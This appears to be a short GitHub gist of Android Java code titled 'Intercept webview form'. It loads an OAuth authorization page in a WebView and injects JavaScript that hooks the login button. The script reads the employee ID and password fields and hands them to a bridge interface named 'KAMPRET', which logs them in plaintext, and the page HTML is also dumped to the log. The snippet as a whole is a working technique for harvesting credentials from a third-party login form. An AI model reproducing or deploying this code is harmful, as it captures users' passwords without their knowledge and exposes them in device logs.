Created
November 26, 2019 06:49
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Intercept webview form
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| @SuppressLint("SetJavaScriptEnabled") | |
| @Override | |
| protected void onCreate(Bundle savedInstanceState) { | |
| super.onCreate(savedInstanceState); | |
| requestWindowFeature(Window.FEATURE_NO_TITLE); | |
| setContentView(R.layout.activity_connect); | |
| webView = (WebView) findViewById(R.id.webView); | |
| webView.getSettings().setJavaScriptEnabled(true); | |
| webView.getSettings().setSupportZoom(false); | |
| webView.setWebViewClient(new WebViewClient() { | |
| @Override | |
| public boolean shouldOverrideUrlLoading(WebView view, String url) { | |
| Uri callbackUri = Uri.parse(url); | |
| String uid = callbackUri.getQueryParameter("uid"); | |
| if (uid != null) { | |
| System.out.println("uid: " + uid); | |
| Intent callbackIntent = new Intent(ConnectActivity.this, OauthCallbackActivity.class); | |
| callbackIntent.putExtra("uid", uid); | |
| startActivity(callbackIntent); | |
| finish(); | |
| return false; | |
| } | |
| String urls = webView.getUrl(); | |
| return true; | |
| } | |
| @Override | |
| public void onPageStarted(WebView view, String url, Bitmap favicon) { | |
| view.evaluateJavascript( | |
| "(function() { return ('<html>'+document.getElementsByTagName('html')[0].innerHTML+'</html>'); })();", | |
| new ValueCallback<String>() { | |
| @Override | |
| public void onReceiveValue(String html) { | |
| Log.d("HTML", html); | |
| // code here | |
| } | |
| }); | |
| super.onPageStarted(view, url, favicon); | |
| } | |
| @Override | |
| public void onFormResubmission(WebView view, Message dontResend, Message resend) { | |
| super.onFormResubmission(view, dontResend, resend); | |
| dontResend.getData(); | |
| } | |
| @Override | |
| public void onPageFinished(WebView view, String url) { | |
| super.onPageFinished(view, url); | |
| getJs(view); | |
| } | |
| }); | |
| webView.addJavascriptInterface(this,"KAMPRET"); | |
| webView.loadUrl(Constants.AUTHORIZE_URL); | |
| } | |
| void getJs(WebView web){ | |
| String a ="(function () { " + | |
| "document.getElementsByClassName('btn btn-primary')[0].addEventListener('click', function(){ " + | |
| " var empID = document.getElementById('empID').value;" + | |
| " var pass = document.getElementById('Password').value;" + | |
| "KAMPRET.action(empID + '<==>'+ pass); } )"+ | |
| "})()"; | |
| if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { | |
| // web?.evaluateJavascript(function, ValueCallback { value: String -> Log.d("=/=>", value) }) | |
| web.evaluateJavascript(a,null); | |
| } | |
| } | |
| @JavascriptInterface | |
| public void action(String str) { | |
| Log.d("==>", str); | |
| } |
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